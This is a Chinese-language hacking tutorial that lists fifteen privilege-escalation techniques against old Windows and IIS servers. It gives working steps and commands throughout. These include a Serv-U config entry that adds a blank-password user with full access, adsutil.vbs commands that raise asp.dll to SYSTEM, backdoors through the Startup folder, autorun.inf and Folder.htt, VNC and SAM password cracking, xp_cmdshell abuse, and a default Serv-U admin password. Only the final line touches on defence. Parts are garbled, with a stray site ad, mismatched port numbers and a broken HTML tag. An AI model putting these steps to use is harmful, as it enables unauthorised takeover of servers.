权限提升 15 大法

1、radmin 连接法

条件是你权限够大，对方连防火墙也没有。封装个 radmin 上去，运行，开对方端口，然后 radmin 上去。

2、pcAnyWhere

C:\DocumentsandSettings\AllUsers\Application Data\Symantec\pcAnywhere\ 这里下他的 GIF 文件，在本地安装 pcanywhere 上去。

3.SU 密码夺取

C:\Documents and Settings\All Users\「开始」菜单\程序\

引用：Serv-U，然后本地查看属性，知道路径后，看能否跳转

进去后，如果有权限修改 ServUDaemon.ini，加个用户上去，密码为空

[USER=WekweN|1]

Password=

HomeDir=c:\

TimeOut=600

Maintenance=System

Access1=C:\|RWAMELCDP

Access1=d:\|RWAMELCDP

Access1=f:\|RWAMELCDP

SKEYvalues=

这个用户具有最高权限，然后我们就可以 ftp 上去 quote site exec xxx 来提升权限

4、c:\winnt\system32\inetsrv\data\

引用：就是这个目录，同样是 erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行。

5、运行 Csript

引用：运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限。

用这个 cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps。

查看有特权的 dll 文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 再将 asp.dll 加入特权一族。

asp.dll 是放在 c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)。我们现在加进去 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"

"C:\WINNT\system32\msw3prt.dll"

"C:\winnt\system32\inetsrv\asp.dll"

可以用 cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了。

6、脚本提权

C:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入 bat 或者 vbs。

7、VNC

默认情况下 VNC 密码存放在 HKCU\Software\ORL\WinVNC3\Password

我们可以用 vncx4 破解它，vncx4 使用很简单，只要在命令行下输入

c:\>vncx4 -W

然后顺序输入上面的每一个十六进制数据，每输完一个回车一次就行了。

8、社会工程学之 GUEST 提权

很简单，查看他的拥护，一般来说，看到帐户以后，密码尽量猜，可能用户密码一样，也可能是他 QQ 号，邮箱号，手机号，尽量看看。

9、IPC 空连接

如果对方真比较白痴的话，扫他的 IPC，如果运气好还是弱口令

10、autorun .inf

autorun=xxx.exe 这个=后面自己写加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行。

11、desktop.ini 与 Folder.htt

引用：首先，我们现在本地建立一个文件夹，名字不重要，进入它，在空白处点右键 ,选择"自定义文件夹"(xp 好像是不行的)一直下点 ,默认即可。完成后，你就会看到在此目录下多了两个名为 Folder setting 的文件架与 desktop.ini 的文件 ,(如果你看不到 ,先取消"隐藏受保护的操作系统文件") ,然后我们在 Folder setting 目录下找到 Folder.htt 文件，记事本打开，在任意地方加入以下代码：

ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的后门文件名">

然后你将你的后门文件放在 Folder setting 目录下，把此目录与 desktop.ini 一起上传到对方任意一个目录下，就可以了，只要等管理员浏览了此目录 ,它就执行了我们的后门C:\WINNT\system32\config\ 下他的SAM 破解之。

12、su 覆盖提权

本地安装个 su，将你自己的 ServUDaemon.ini 文件用从他那下载下来的 ServUDaemon.ini 覆盖掉 ,重起一下 Serv-U ,于是你上面的所有配置都与他的一模一样了。

13、SU 转发端口

43958 这个是 Serv -U 的本地管理端口。FPIPE.exe 上传他，执行命令：Fpipe –v –l 3333 –r

43958 127.0.0.1 意思是将 4444 端口映射到 43958 端口上。 然后就可以在本地安装一个 Serv-u，新建一个服务器，IP 填对方 IP，帐号为 LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的 Serv-u 了。

14、SQL 帐户密码泄露

如果对方开了 MSSQL 服务器，我们就可以通过用 SQL 连接器加管理员帐号(可以从他的连接数据库的 ASP 文件中看到) ,因为 MSSQL 是默认的 SYSTEM 权限。

引用：对方没有删除 xp_cmdshell 方法：使用 Sqlexec.exe，在 host 一栏中填入对方 IP，User 与 Pass DL.bitsCN.com 网管软件下载中填入你所得到的用户名与密码。format 选择 xp_cmdshell"%s"即可。然后点击 connect，连接上后就可以在 CMD 一栏中输入你想要的 CMD 命令了。

15、asp.dll

引用：因为 asp.dll 是放在 c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同)我们现在加进去 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"

"C:\WINNT\system32\inetsrv\httpext.dll"

"C:\WINNT\system32\inetsrv\httpodbc.dll"

"C:\WINNT\system32\inetsrv\ssinc.dll"

"C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"

好了,现在你可以用 cscript adsutil.vbs get/W3SVC/InProcessIsapiApps 来查看是不是加进去了,注意,用法中的 get 和 set,一个是查看一个是设置.还有就是你运行上面的你要到 C:\Inetpub\AdminScripts>这个目录下.那么如果你是一个管理员,你的机子被人用这招把 asp 提升为 system 权限,那么,这时,防的方法就是把 asp.dll T 出特权一族,也就是用 set 这个命令,覆盖掉刚才的那些东东。